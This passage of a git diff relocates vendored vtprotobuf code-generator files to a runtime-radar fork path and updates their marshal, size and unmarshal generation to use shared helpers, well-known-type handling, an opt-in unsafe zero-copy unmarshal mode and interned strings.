field.Oneof.GoName, `.(*`, field.GoIdent.GoName, `); ok {`) + if p.IsWellKnownType(message) { + p.P(`if m, ok := m.`, field.Oneof.GoName, `.(*`, field.GoIdent, `); ok {`) + p.P(`msg := ((*`, p.WellKnownFieldMap(field), `)(m))`) + } else { + p.P(`if msg, ok := m.`, field.Oneof.GoName, `.(*`, field.GoIdent.GoName, `); ok {`) + } marshalForwardOneOf("msg") p.P(`}`) } @@ -647,8 +648,18 @@ func (p *marshal) message(message *protogen.Message) { oneof := field.Oneof != nil && !field.Oneof.Desc.IsSynthetic() if oneof { fieldname := field.Oneof.GoName - if _, ok := oneofs[fieldname]; !ok { - oneofs[fieldname] = struct{}{} + if _, ok := oneofs[fieldname]; ok { + continue + } + oneofs[fieldname] = struct{}{} + if p.IsWellKnownType(message) { + p.P(`switch c := m.`, fieldname, `.(type) {`) + for _, f := range field.Oneof.Fields { + p.P(`case *`, f.GoIdent, `:`) + marshalForwardOneOf(`(*`, p.WellKnownFieldMap(f), `)(c)`) + } + p.P(`}`) + } else { p.P(`if vtmsg, ok := m.`, fieldname, `.(interface{`) p.P(p.methodMarshalToSizedBuffer(), ` ([]byte) (int, error)`) p.P(`}); ok {`) @@ -671,12 +682,12 @@ func (p *marshal) message(message *protogen.Message) { p.P(`}`) p.P() - //Generate MarshalToVT methods for oneof fields + // Generate MarshalToVT methods for oneof fields for _, field := range message.Fields { if field.Oneof == nil || field.Oneof.Desc.IsSynthetic() { continue } - ccTypeName := field.GoIdent + ccTypeName := field.GoIdent.GoName p.P(`func (m *`, ccTypeName, `) `, p.methodMarshalTo(), `(dAtA []byte) (int, error) {`) p.P(`size := m.SizeVT()`) p.P(`return m.`, p.methodMarshalToSizedBuffer(), `(dAtA[:size])`) @@ -696,18 +707,7 @@ func (p *marshal) reverseListRange(expression ...string) string { return exp + `[iNdEx]` } -func (p *marshal) marshalBackward(varName string, varInt bool, message *protogen.Message) { - local := p.IsLocalMessage(message) - - if local { - p.P(`size, err := `, varName, `.`, p.methodMarshalToSizedBuffer(), `(dAtA[:i])`) - } else { - p.P(`if vtmsg, ok := interface{}(`, varName, `).(interface{`) - p.P(p.methodMarshalToSizedBuffer(), `([]byte) (int, error)`) - p.P(`}); ok{`) - p.P(`size, err := vtmsg.`, p.methodMarshalToSizedBuffer(), `(dAtA[:i])`) - } - +func (p *marshal) marshalBackwardSize(varInt bool) { p.P(`if err != nil {`) p.P(`return 0, err`) p.P(`}`) @@ -715,8 +715,24 @@ func (p *marshal) marshalBackward(varName string, varInt bool, message *protogen if varInt { p.encodeVarint(`size`) } +} - if !local { +func (p *marshal) marshalBackward(varName string, varInt bool, message *protogen.Message) { + switch { + case p.IsWellKnownType(message): + p.P(`size, err := (*`, p.WellKnownTypeMap(message), `)(`, varName, `).`, p.methodMarshalToSizedBuffer(), `(dAtA[:i])`) + p.marshalBackwardSize(varInt) + + case p.IsLocalMessage(message): + p.P(`size, err := `, varName, `.`, p.methodMarshalToSizedBuffer(), `(dAtA[:i])`) + p.marshalBackwardSize(varInt) + + default: + p.P(`if vtmsg, ok := interface{}(`, varName, `).(interface{`) + p.P(p.methodMarshalToSizedBuffer(), `([]byte) (int, error)`) + p.P(`}); ok{`) + p.P(`size, err := vtmsg.`, p.methodMarshalToSizedBuffer(), `(dAtA[:i])`) + p.marshalBackwardSize(varInt) p.P(`} else {`) p.P(`encoded, err := `, p.Ident(generator.ProtoPkg, "Marshal"), `(`, varName, `)`) p.P(`if err != nil {`) diff --git a/vendor/github.com/planetscale/vtprotobuf/features/size/size.go b/vendor/github.com/runtime-radar/vtprotobuf/features/size/size.go similarity index 64% rename from vendor/github.com/planetscale/vtprotobuf/features/size/size.go rename to vendor/github.com/runtime-radar/vtprotobuf/features/size/size.go index 21fa3074..26ca2a58 100644 --- a/vendor/github.com/planetscale/vtprotobuf/features/size/size.go +++ b/vendor/github.com/runtime-radar/vtprotobuf/features/size/size.go @@ -7,13 +7,11 @@ package size import ( "strconv" - "strings" + "github.com/runtime-radar/vtprotobuf/generator" "google.golang.org/protobuf/compiler/protogen" "google.golang.org/protobuf/encoding/protowire" "google.golang.org/protobuf/reflect/protoreflect" - - "github.com/planetscale/vtprotobuf/generator" ) func init() { @@ -41,26 +39,15 @@ func (p *size) GenerateFile(file *protogen.File) bool { return p.once } -func (p *size) GenerateHelpers() { - p.Helper("sov", func(p *generator.GeneratedFile) { - p.P(` - func sov(x uint64) (n int) { - return (`, p.Ident("math/bits", "Len64"), `(x | 1) + 6)/ 7 - }`) - }) - p.Helper("soz", func(p *generator.GeneratedFile) { - p.P(`func soz(x uint64) (n int) { - return sov(uint64((x << 1) ^ uint64((int64(x) >> 63)))) - }`) - }) -} - func (p *size) messageSize(varName, sizeName string, message *protogen.Message) { - local := p.IsLocalMessage(message) + switch { + case p.IsWellKnownType(message): + p.P(`l = (*`, p.WellKnownTypeMap(message), `)(`, varName, `).`, sizeName, `()`) - if local { + case p.IsLocalMessage(message): p.P(`l = `, varName, `.`, sizeName, `()`) - } else { + + default: p.P(`if size, ok := interface{}(`, varName, `).(interface{`) p.P(sizeName, `() int`) p.P(`}); ok{`) @@ -90,7 +77,7 @@ func (p *size) field(oneof bool, field *protogen.Field, sizeName string) { switch field.Desc.Kind() { case protoreflect.DoubleKind, protoreflect.Fixed64Kind, protoreflect.Sfixed64Kind: if packed { - p.P(`n+=`, strconv.Itoa(key), `+sov(uint64(len(m.`, fieldname, `)*8))`, `+len(m.`, fieldname, `)*8`) + p.P(`n+=`, strconv.Itoa(key), `+`, p.Helper("SizeOfVarint"), `(uint64(len(m.`, fieldname, `)*8))`, `+len(m.`, fieldname, `)*8`) } else if repeated { p.P(`n+=`, strconv.Itoa(key+8), `*len(m.`, fieldname, `)`) } else if !oneof && !nullable { @@ -102,7 +89,7 @@ func (p *size) field(oneof bool, field *protogen.Field, sizeName string) { } case protoreflect.FloatKind, protoreflect.Fixed32Kind, protoreflect.Sfixed32Kind: if packed { - p.P(`n+=`, strconv.Itoa(key), `+sov(uint64(len(m.`, fieldname, `)*4))`, `+len(m.`, fieldname, `)*4`) + p.P(`n+=`, strconv.Itoa(key), `+`, p.Helper("SizeOfVarint"), `(uint64(len(m.`, fieldname, `)*4))`, `+len(m.`, fieldname, `)*4`) } else if repeated { p.P(`n+=`, strconv.Itoa(key+4), `*len(m.`, fieldname, `)`) } else if !oneof && !nullable { @@ -116,25 +103,25 @@ func (p *size) field(oneof bool, field *protogen.Field, sizeName string) { if packed { p.P(`l = 0`) p.P(`for _, e := range m.`, fieldname, ` {`) - p.P(`l+=sov(uint64(e))`) + p.P(`l+=`, p.Helper("SizeOfVarint"), `(uint64(e))`) p.P(`}`) - p.P(`n+=`, strconv.Itoa(key), `+sov(uint64(l))+l`) + p.P(`n+=`, strconv.Itoa(key), `+`, p.Helper("SizeOfVarint"), `(uint64(l))+l`) } else if repeated { p.P(`for _, e := range m.`, fieldname, ` {`) - p.P(`n+=`, strconv.Itoa(key), `+sov(uint64(e))`) + p.P(`n+=`, strconv.Itoa(key), `+`, p.Helper("SizeOfVarint"), `(uint64(e))`) p.P(`}`) } else if nullable { - p.P(`n+=`, strconv.Itoa(key), `+sov(uint64(*m.`, fieldname, `))`) + p.P(`n+=`, strconv.Itoa(key), `+`, p.Helper("SizeOfVarint"), `(uint64(*m.`, fieldname, `))`) } else if !oneof { p.P(`if m.`, fieldname, ` != 0 {`) - p.P(`n+=`, strconv.Itoa(key), `+sov(uint64(m.`, fieldname, `))`) + p.P(`n+=`, strconv.Itoa(key), `+`, p.Helper("SizeOfVarint"), `(uint64(m.`, fieldname, `))`) p.P(`}`) } else { - p.P(`n+=`, strconv.Itoa(key), `+sov(uint64(m.`, fieldname, `))`) + p.P(`n+=`, strconv.Itoa(key), `+`, p.Helper("SizeOfVarint"), `(uint64(m.`, fieldname, `))`) } case protoreflect.BoolKind: if packed { - p.P(`n+=`, strconv.Itoa(key), `+sov(uint64(len(m.`, fieldname, `)))`, `+len(m.`, fieldname, `)*1`) + p.P(`n+=`, strconv.Itoa(key), `+`, p.Helper("SizeOfVarint"), `(uint64(len(m.`, fieldname, `)))`, `+len(m.`, fieldname, `)*1`) } else if repeated { p.P(`n+=`, strconv.Itoa(key+1), `*len(m.`, fieldname, `)`) } else if !oneof && !nullable { @@ -148,19 +135,19 @@ func (p *size) field(oneof bool, field *protogen.Field, sizeName string) { if repeated { p.P(`for _, s := range m.`, fieldname, ` { `) p.P(`l = len(s)`) - p.P(`n+=`, strconv.Itoa(key), `+l+sov(uint64(l))`) + p.P(`n+=`, strconv.Itoa(key), `+l+`, p.Helper("SizeOfVarint"), `(uint64(l))`) p.P(`}`) } else if nullable { p.P(`l=len(*m.`, fieldname, `)`) - p.P(`n+=`, strconv.Itoa(key), `+l+sov(uint64(l))`) + p.P(`n+=`, strconv.Itoa(key), `+l+`, p.Helper("SizeOfVarint"), `(uint64(l))`) } else if !oneof { p.P(`l=len(m.`, fieldname, `)`) p.P(`if l > 0 {`) - p.P(`n+=`, strconv.Itoa(key), `+l+sov(uint64(l))`) + p.P(`n+=`, strconv.Itoa(key), `+l+`, p.Helper("SizeOfVarint"), `(uint64(l))`) p.P(`}`) } else { p.P(`l=len(m.`, fieldname, `)`) - p.P(`n+=`, strconv.Itoa(key), `+l+sov(uint64(l))`) + p.P(`n+=`, strconv.Itoa(key), `+l+`, p.Helper("SizeOfVarint"), `(uint64(l))`) } case protoreflect.GroupKind: p.messageSize("m."+fieldname, sizeName, field.Message) @@ -173,7 +160,7 @@ func (p *size) field(oneof bool, field *protogen.Field, sizeName string) { p.P(`for k, v := range m.`, fieldname, ` { `) p.P(`_ = k`) p.P(`_ = v`) - sum := []string{strconv.Itoa(keyKeySize)} + sum := []interface{}{strconv.Itoa(keyKeySize)} switch field.Message.Fields[0].Desc.Kind() { case protoreflect.DoubleKind, protoreflect.Fixed64Kind, protoreflect.Sfixed64Kind: @@ -181,13 +168,13 @@ func (p *size) field(oneof bool, field *protogen.Field, sizeName string) { case protoreflect.FloatKind, protoreflect.Fixed32Kind, protoreflect.Sfixed32Kind: sum = append(sum, `4`) case protoreflect.Int64Kind, protoreflect.Uint64Kind, protoreflect.Uint32Kind, protoreflect.EnumKind, protoreflect.Int32Kind: - sum = append(sum, `sov(uint64(k))`) + sum = append(sum, p.Helper("SizeOfVarint"), `(uint64(k))`) case protoreflect.BoolKind: sum = append(sum, `1`) case protoreflect.StringKind, protoreflect.BytesKind: - sum = append(sum, `len(k)+sov(uint64(len(k)))`) + sum = append(sum, `len(k)`, p.Helper("SizeOfVarint"), `(uint64(len(k)))`) case protoreflect.Sint32Kind, protoreflect.Sint64Kind: - sum = append(sum, `soz(uint64(k))`) + sum = append(sum, p.Helper("SizeOfZigzag"), `(uint64(k))`) } switch field.Message.Fields[1].Desc.Kind() { @@ -199,78 +186,91 @@ func (p *size) field(oneof bool, field *protogen.Field, sizeName string) { sum = append(sum, strconv.Itoa(4)) case protoreflect.Int64Kind, protoreflect.Uint64Kind, protoreflect.Uint32Kind, protoreflect.EnumKind, protoreflect.Int32Kind: sum = append(sum, strconv.Itoa(valueKeySize)) - sum = append(sum, `sov(uint64(v))`) + sum = append(sum, p.Helper("SizeOfVarint"), `(uint64(v))`) case protoreflect.BoolKind: sum = append(sum, strconv.Itoa(valueKeySize)) sum = append(sum, `1`) case protoreflect.StringKind: sum = append(sum, strconv.Itoa(valueKeySize)) - sum = append(sum, `len(v)+sov(uint64(len(v)))`) + sum = append(sum, `len(v)`, p.Helper("SizeOfVarint"), `(uint64(len(v)))`) case protoreflect.BytesKind: - p.P(`l = `, strconv.Itoa(valueKeySize), ` + len(v)+sov(uint64(len(v)))`) + p.P(`l = `, strconv.Itoa(valueKeySize), ` + len(v)+`, p.Helper("SizeOfVarint"), `(uint64(len(v)))`) sum = append(sum, `l`) case protoreflect.Sint32Kind, protoreflect.Sint64Kind: sum = append(sum, strconv.Itoa(valueKeySize)) - sum = append(sum, `soz(uint64(v))`) + sum = append(sum, p.Helper("SizeOfZigzag"), `(uint64(v))`) case protoreflect.MessageKind: p.P(`l = 0`) p.P(`if v != nil {`) p.messageSize("v", sizeName, field.Message.Fields[1].Message) p.P(`}`) - p.P(`l += `, strconv.Itoa(valueKeySize), ` + sov(uint64(l))`) + p.P(`l += `, strconv.Itoa(valueKeySize), ` + `, p.Helper("SizeOfVarint"), `(uint64(l))`) sum = append(sum, `l`) } - p.P(`mapEntrySize := `, strings.Join(sum, "+")) - p.P(`n+=mapEntrySize+`, fieldKeySize, `+sov(uint64(mapEntrySize))`) + mapEntrySize := []interface{}{"mapEntrySize := "} + for i, elt := range sum { + mapEntrySize = append(mapEntrySize, elt) + // if elt is not a string, then it is a helper function call + if _, ok := elt.(string); ok && i < len(sum)-1 { + mapEntrySize = append(mapEntrySize, "+") + } + } + p.P(mapEntrySize...) + p.P(`n+=mapEntrySize+`, fieldKeySize, `+`, p.Helper("SizeOfVarint"), `(uint64(mapEntrySize))`) p.P(`}`) } else if field.Desc.IsList() { p.P(`for _, e := range m.`, fieldname, ` { `) p.messageSize("e", sizeName, field.Message) - p.P(`n+=`, strconv.Itoa(key), `+l+sov(uint64(l))`) + p.P(`n+=`, strconv.Itoa(key), `+l+`, p.Helper("SizeOfVarint"), `(uint64(l))`) p.P(`}`) } else { p.messageSize("m."+fieldname, sizeName, field.Message) - p.P(`n+=`, strconv.Itoa(key), `+l+sov(uint64(l))`) + p.P(`n+=`, strconv.Itoa(key), `+l+`, p.Helper("SizeOfVarint"), `(uint64(l))`) } case protoreflect.BytesKind: if repeated { p.P(`for _, b := range m.`, fieldname, ` { `) p.P(`l = len(b)`) - p.P(`n+=`, strconv.Itoa(key), `+l+sov(uint64(l))`) + p.P(`n+=`, strconv.Itoa(key), `+l+`, p.Helper("SizeOfVarint"), `(uint64(l))`) p.P(`}`) } else if !oneof && !field.Desc.HasPresence() { p.P(`l=len(m.`, fieldname, `)`) p.P(`if l > 0 {`) - p.P(`n+=`, strconv.Itoa(key), `+l+sov(uint64(l))`) + p.P(`n+=`, strconv.Itoa(key), `+l+`, p.Helper("SizeOfVarint"), `(uint64(l))`) p.P(`}`) } else { p.P(`l=len(m.`, fieldname, `)`) - p.P(`n+=`, strconv.Itoa(key), `+l+sov(uint64(l))`) + p.P(`n+=`, strconv.Itoa(key), `+l+`, p.Helper("SizeOfVarint"), `(uint64(l))`) } case protoreflect.Sint32Kind, protoreflect.Sint64Kind: if packed { p.P(`l = 0`) p.P(`for _, e := range m.`, fieldname, ` {`) - p.P(`l+=soz(uint64(e))`) + p.P(`l+=`, p.Helper("SizeOfZigzag"), `(uint64(e))`) p.P(`}`) - p.P(`n+=`, strconv.Itoa(key), `+sov(uint64(l))+l`) + p.P(`n+=`, strconv.Itoa(key), `+`, p.Helper("SizeOfVarint"), `(uint64(l))+l`) } else if repeated { p.P(`for _, e := range m.`, fieldname, ` {`) - p.P(`n+=`, strconv.Itoa(key), `+soz(uint64(e))`) + p.P(`n+=`, strconv.Itoa(key), `+`, p.Helper("SizeOfZigzag"), `(uint64(e))`) p.P(`}`) } else if nullable { - p.P(`n+=`, strconv.Itoa(key), `+soz(uint64(*m.`, fieldname, `))`) + p.P(`n+=`, strconv.Itoa(key), `+`, p.Helper("SizeOfZigzag"), `(uint64(*m.`, fieldname, `))`) } else if !oneof { p.P(`if m.`, fieldname, ` != 0 {`) - p.P(`n+=`, strconv.Itoa(key), `+soz(uint64(m.`, fieldname, `))`) + p.P(`n+=`, strconv.Itoa(key), `+`, p.Helper("SizeOfZigzag"), `(uint64(m.`, fieldname, `))`) p.P(`}`) } else { - p.P(`n+=`, strconv.Itoa(key), `+soz(uint64(m.`, fieldname, `))`) + p.P(`n+=`, strconv.Itoa(key), `+`, p.Helper("SizeOfZigzag"), `(uint64(m.`, fieldname, `))`) } default: panic("not implemented") } - if repeated || nullable { + // Empty protobufs should emit a message or compatibility with Golang protobuf; + // See https://github.com/planetscale/vtprotobuf/issues/61 + // Size is always keysize + 1 so just hardcode that here + if oneof && field.Desc.Kind() == protoreflect.MessageKind && !field.Desc.IsMap() && !field.Desc.IsList() { + p.P("} else { n += ", strconv.Itoa(key + 1), " }") + } else if repeated || nullable { p.P(`}`) } } @@ -287,7 +287,7 @@ func (p *size) message(message *protogen.Message) { p.once = true sizeName := "SizeVT" - ccTypeName := message.GoIdent + ccTypeName := message.GoIdent.GoName p.P(`func (m *`, ccTypeName, `) `, sizeName, `() (n int) {`) p.P(`if m == nil {`) @@ -302,15 +302,27 @@ func (p *size) message(message *protogen.Message) { p.field(false, field, sizeName) } else { fieldname := field.Oneof.GoName - if _, ok := oneofs[fieldname]; !ok { - oneofs[fieldname] = struct{}{} + if _, ok := oneofs[fieldname]; ok { + continue + } + oneofs[fieldname] = struct{}{} + if p.IsWellKnownType(message) { + p.P(`switch c := m.`, fieldname, `.(type) {`) + for _, f := range field.Oneof.Fields { + p.P(`case *`, f.GoIdent, `:`) + p.P(`n += (*`, p.WellKnownFieldMap(f), `)(c).`, sizeName, `()`) + } + p.P(`}`) + } else { p.P(`if vtmsg, ok := m.`, fieldname, `.(interface{ SizeVT() int }); ok {`) p.P(`n+=vtmsg.`, sizeName, `()`) p.P(`}`) } } } - p.P(`n+=len(m.unknownFields)`) + if !p.Wrapper() && !p.ShouldIgnoreUnknownFields(message) { + p.P(`n+=len(m.unknownFields)`) + } p.P(`return n`) p.P(`}`) p.P() diff --git a/vendor/github.com/planetscale/vtprotobuf/features/unmarshal/unmarshal.go b/vendor/github.com/runtime-radar/vtprotobuf/features/unmarshal/unmarshal.go similarity index 83% rename from vendor/github.com/planetscale/vtprotobuf/features/unmarshal/unmarshal.go rename to vendor/github.com/runtime-radar/vtprotobuf/features/unmarshal/unmarshal.go index 6a7583e2..59680eaa 100644 --- a/vendor/github.com/planetscale/vtprotobuf/features/unmarshal/unmarshal.go +++ b/vendor/github.com/runtime-radar/vtprotobuf/features/unmarshal/unmarshal.go @@ -12,20 +12,27 @@ import ( "google.golang.org/protobuf/compiler/protogen" "google.golang.org/protobuf/encoding/protowire" + "google.golang.org/protobuf/proto" "google.golang.org/protobuf/reflect/protoreflect" - "github.com/planetscale/vtprotobuf/generator" + "github.com/runtime-radar/vtprotobuf/generator" + "github.com/runtime-radar/vtprotobuf/vtproto" ) func init() { generator.RegisterFeature("unmarshal", func(gen *generator.GeneratedFile) generator.FeatureGenerator { return &unmarshal{GeneratedFile: gen} }) + + generator.RegisterFeature("unmarshal_unsafe", func(gen *generator.GeneratedFile) generator.FeatureGenerator { + return &unmarshal{GeneratedFile: gen, unsafe: true} + }) } type unmarshal struct { *generator.GeneratedFile - once bool + unsafe bool + once bool } var _ generator.FeatureGenerator = (*unmarshal)(nil) @@ -39,110 +46,30 @@ func (p *unmarshal) GenerateFile(file *protogen.File) bool { return p.once } -func (p *unmarshal) GenerateHelpers() { - p.Helper("skip", func(p *generator.GeneratedFile) { - p.P(` - func skip(dAtA []byte) (n int, err error) { - l := len(dAtA) - iNdEx := 0 - depth := 0 - for iNdEx < l { - var wire uint64 - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return 0, ErrIntOverflow - } - if iNdEx >= l { - return 0, `, p.Ident("io", "ErrUnexpectedEOF"), ` - } - b := dAtA[iNdEx] - iNdEx++ - wire |= (uint64(b) & 0x7F) << shift - if b < 0x80 { - break - } - } - wireType := int(wire & 0x7) - switch wireType { - case 0: - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return 0, ErrIntOverflow - } - if iNdEx >= l { - return 0, `, p.Ident("io", "ErrUnexpectedEOF"), ` - } - iNdEx++ - if dAtA[iNdEx-1] < 0x80 { - break - } - } - case 1: - iNdEx += 8 - case 2: - var length int - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return 0, ErrIntOverflow - } - if iNdEx >= l { - return 0, `, p.Ident("io", "ErrUnexpectedEOF"), ` - } - b := dAtA[iNdEx] - iNdEx++ - length |= (int(b) & 0x7F) << shift - if b < 0x80 { - break - } - } - if length < 0 { - return 0, ErrInvalidLength - } - iNdEx += length - case 3: - depth++ - case 4: - if depth == 0 { - return 0, ErrUnexpectedEndOfGroup - } - depth-- - case 5: - iNdEx += 4 - default: - return 0, `, p.Ident("fmt", `Errorf`), `("proto: illegal wireType %d", wireType) - } - if iNdEx < 0 { - return 0, ErrInvalidLength - } - if depth == 0 { - return iNdEx, nil - } - } - return 0, `, p.Ident("io", "ErrUnexpectedEOF"), - `}`) - }) - - p.P(` - var ( - ErrInvalidLength = `, p.Ident("fmt", "Errorf"), `("proto: negative length found during unmarshaling") - ErrIntOverflow = `, p.Ident("fmt", "Errorf"), `("proto: integer overflow") - ErrUnexpectedEndOfGroup = `, p.Ident("fmt", "Errorf"), `("proto: unexpected end of group") - ) - `) +func (p *unmarshal) methodUnmarshal() string { + if p.unsafe { + return "UnmarshalVTUnsafe" + } + return "UnmarshalVT" } func (p *unmarshal) decodeMessage(varName, buf string, message *protogen.Message) { - local := p.IsLocalMessage(message) + switch { + case p.IsWellKnownType(message): + p.P(`if err := (*`, p.WellKnownTypeMap(message), `)(`, varName, `).`, p.methodUnmarshal(), `(`, buf, `); err != nil {`) + p.P(`return err`) + p.P(`}`) - if local { - p.P(`if err := `, varName, `.UnmarshalVT(`, buf, `); err != nil {`) + case p.IsLocalMessage(message): + p.P(`if err := `, varName, `.`, p.methodUnmarshal(), `(`, buf, `); err != nil {`) p.P(`return err`) p.P(`}`) - } else { + + default: p.P(`if unmarshal, ok := interface{}(`, varName, `).(interface{`) - p.P(`UnmarshalVT([]byte) error`) + p.P(p.methodUnmarshal(), `([]byte) error`) p.P(`}); ok{`) - p.P(`if err := unmarshal.UnmarshalVT(`, buf, `); err != nil {`) + p.P(`if err := unmarshal.`, p.methodUnmarshal(), `(`, buf, `); err != nil {`) p.P(`return err`) p.P(`}`) p.P(`} else {`) @@ -156,7 +83,7 @@ func (p *unmarshal) decodeMessage(varName, buf string, message *protogen.Message func (p *unmarshal) decodeVarint(varName string, typName string) { p.P(`for shift := uint(0); ; shift += 7 {`) p.P(`if shift >= 64 {`) - p.P(`return ErrIntOverflow`) + p.P(`return `, p.Helper("ErrIntOverflow")) p.P(`}`) p.P(`if iNdEx >= l {`) p.P(`return `, p.Ident("io", `ErrUnexpectedEOF`)) @@ -230,7 +157,7 @@ func (p *unmarshal) declareMapField(varName string, nullable bool, field *protog } } -func (p *unmarshal) mapField(varName string, field *protogen.Field) { +func (p *unmarshal) mapField(varName string, field *protogen.Field, unique bool) { switch field.Desc.Kind() { case protoreflect.DoubleKind: p.P(`var `, varName, `temp uint64`) @@ -259,26 +186,41 @@ func (p *unmarshal) mapField(varName string, field *protogen.Field) { p.decodeVarint("stringLen"+varName, "uint64") p.P(`intStringLen`, varName, ` := int(stringLen`, varName, `)`) p.P(`if intStringLen`, varName, ` < 0 {`) - p.P(`return ErrInvalidLength`) + p.P(`return `, p.Helper("ErrInvalidLength")) p.P(`}`) p.P(`postStringIndex`, varName, ` := iNdEx + intStringLen`, varName) p.P(`if postStringIndex`, varName, ` < 0 {`) - p.P(`return ErrInvalidLength`) + p.P(`return `, p.Helper("ErrInvalidLength")) p.P(`}`) p.P(`if postStringIndex`, varName, ` > l {`) p.P(`return `, p.Ident("io", `ErrUnexpectedEOF`)) p.P(`}`) - p.P(varName, ` = `, "string", `(dAtA[iNdEx:postStringIndex`, varName, `])`) + switch { + case p.unsafe: + p.P(`if intStringLen`, varName, ` == 0 {`) + p.P(varName, ` = ""`) + p.P(`} else {`) + p.P(varName, ` = `, p.Ident("unsafe", `String`), `(&dAtA[iNdEx], intStringLen`, varName, `)`) + p.P(`}`) + case unique: + p.P(`if intStringLen`, varName, ` == 0 {`) + p.P(varName, ` = ""`) + p.P(`} else {`) + p.P(varName, ` = `, p.Ident("unique", `Make`), `[string](`, p.Ident("unsafe", `String`), `(&dAtA[iNdEx], intStringLen`, varName, `)).Value()`) + p.P(`}`) + default: + p.P(varName, ` = `, "string", `(dAtA[iNdEx:postStringIndex`, varName, `])`) + } p.P(`iNdEx = postStringIndex`, varName) case protoreflect.MessageKind: p.P(`var mapmsglen int`) p.decodeVarint("mapmsglen", "int") p.P(`if mapmsglen < 0 {`) - p.P(`return ErrInvalidLength`) + p.P(`return `, p.Helper("ErrInvalidLength")) p.P(`}`) p.P(`postmsgIndex := iNdEx + mapmsglen`) p.P(`if postmsgIndex < 0 {`) - p.P(`return ErrInvalidLength`) + p.P(`return `, p.Helper("ErrInvalidLength")) p.P(`}`) p.P(`if postmsgIndex > l {`) p.P(`return `, p.Ident("io", `ErrUnexpectedEOF`)) @@ -292,17 +234,21 @@ func (p *unmarshal) mapField(varName string, field *protogen.Field) { p.decodeVarint("mapbyteLen", "uint64") p.P(`intMapbyteLen := int(mapbyteLen)`) p.P(`if intMapbyteLen < 0 {`) - p.P(`return ErrInvalidLength`) + p.P(`return `, p.Helper("ErrInvalidLength")) p.P(`}`) p.P(`postbytesIndex := iNdEx + intMapbyteLen`) p.P(`if postbytesIndex < 0 {`) - p.P(`return ErrInvalidLength`) + p.P(`return `, p.Helper("ErrInvalidLength")) p.P(`}`) p.P(`if postbytesIndex > l {`) p.P(`return `, p.Ident("io", `ErrUnexpectedEOF`)) p.P(`}`) - p.P(varName, ` = make([]byte, mapbyteLen)`) - p.P(`copy(`, varName, `, dAtA[iNdEx:postbytesIndex])`) + if p.unsafe { + p.P(varName, ` = dAtA[iNdEx:postbytesIndex]`) + } else { + p.P(varName, ` = make([]byte, mapbyteLen)`) + p.P(`copy(`, varName, `, dAtA[iNdEx:postbytesIndex])`) + } p.P(`iNdEx = postbytesIndex`) case protoreflect.Uint32Kind: p.decodeVarint(varName, "uint32") @@ -472,27 +418,44 @@ func (p *unmarshal) fieldItem(field *protogen.Field, fieldname string, message * p.P(`m.`, fieldname, ` = &b`) } case protoreflect.StringKind: + unique := proto.GetExtension(field.Desc.Options(), vtproto.E_Options).(*vtproto.Opts).GetUnique() + p.P(`var stringLen uint64`) p.decodeVarint("stringLen", "uint64") p.P(`intStringLen := int(stringLen)`) p.P(`if intStringLen < 0 {`) - p.P(`return ErrInvalidLength`) + p.P(`return `, p.Helper("ErrInvalidLength")) p.P(`}`) p.P(`postIndex := iNdEx + intStringLen`) p.P(`if postIndex < 0 {`) - p.P(`return ErrInvalidLength`) + p.P(`return `, p.Helper("ErrInvalidLength")) p.P(`}`) p.P(`if postIndex > l {`) p.P(`return `, p.Ident("io", `ErrUnexpectedEOF`)) p.P(`}`) + str := "string(dAtA[iNdEx:postIndex])" + switch { + case p.unsafe: + str = "stringValue" + p.P(`var stringValue string`) + p.P(`if intStringLen > 0 {`) + p.P(`stringValue = `, p.Ident("unsafe", `String`), `(&dAtA[iNdEx], intStringLen)`) + p.P(`}`) + case unique: + str = "stringValue" + p.P(`var stringValue string`) + p.P(`if intStringLen > 0 {`) + p.P(`stringValue = `, p.Ident("unique", `Make`), `[string](`, p.Ident("unsafe", `String`), `(&dAtA[iNdEx], intStringLen)).Value()`) + p.P(`}`) + } if oneof { - p.P(`m.`, fieldname, ` = &`, field.GoIdent, `{`, field.GoName, ": ", typ, `(dAtA[iNdEx:postIndex])}`) + p.P(`m.`, fieldname, ` = &`, field.GoIdent, `{`, field.GoName, ": ", str, `}`) } else if repeated { - p.P(`m.`, fieldname, ` = append(m.`, fieldname, `, `, typ, `(dAtA[iNdEx:postIndex]))`) + p.P(`m.`, fieldname, ` = append(m.`, fieldname, `, `, str, `)`) } else if proto3 && !nullable { - p.P(`m.`, fieldname, ` = `, typ, `(dAtA[iNdEx:postIndex])`) + p.P(`m.`, fieldname, ` = `, str) } else { - p.P(`s := `, typ, `(dAtA[iNdEx:postIndex])`) + p.P(`s := `, str) p.P(`m.`, fieldname, ` = &s`) } p.P(`iNdEx = postIndex`) @@ -507,12 +470,12 @@ func (p *unmarshal) fieldItem(field *protogen.Field, fieldname string, message * p.decodeMessage("m."+fieldname, "dAtA[groupStart:maybeGroupEnd]", field.Message) p.P(`break`) p.P(`}`) - p.P(`skippy, err := skip(dAtA[iNdEx:])`) + p.P(`skippy, err := `, p.Helper("Skip"), `(dAtA[iNdEx:])`) p.P(`if err != nil {`) p.P(`return err`) p.P(`}`) p.P(`if (skippy < 0) || (iNdEx + skippy) < 0 {`) - p.P(`return ErrInvalidLength`) + p.P(`return `, p.Helper("ErrInvalidLength")) p.P(`}`) p.P(`iNdEx += skippy`) p.P(`}`) @@ -520,11 +483,11 @@ func (p *unmarshal) fieldItem(field *protogen.Field, fieldname string, message * p.P(`var msglen int`) p.decodeVarint("msglen", "int") p.P(`if msglen < 0 {`) - p.P(`return ErrInvalidLength`) + p.P(`return `, p.Helper("ErrInvalidLength")) p.P(`}`) p.P(`postIndex := iNdEx + msglen`) p.P(`if postIndex < 0 {`) - p.P(`return ErrInvalidLength`) + p.P(`return `, p.Helper("ErrInvalidLength")) p.P(`}`) p.P(`if postIndex > l {`) p.P(`return `, p.Ident("io", `ErrUnexpectedEOF`)) @@ -535,11 +498,17 @@ func (p *unmarshal) fieldItem(field *protogen.Field, fieldname string, message * p.P(`if oneof, ok := m.`, fieldname, `.(*`, field.GoIdent, `); ok {`) p.decodeMessage("oneof."+field.GoName, buf, field.Message) p.P(`} else {`) - p.P(`v := &`, msgname, `{}`) + if p.ShouldPool(message) && p.ShouldPool(field.Message) { + p.P(`v := `, msgname, `FromVTPool()`) + } else { + p.P(`v := &`, msgname, `{}`) + } p.decodeMessage("v", buf, field.Message) p.P(`m.`, fieldname, ` = &`, field.GoIdent, "{", field.GoName, `: v}`) p.P(`}`) } else if field.Desc.IsMap() { + unique := proto.GetExtension(field.Desc.Options(), 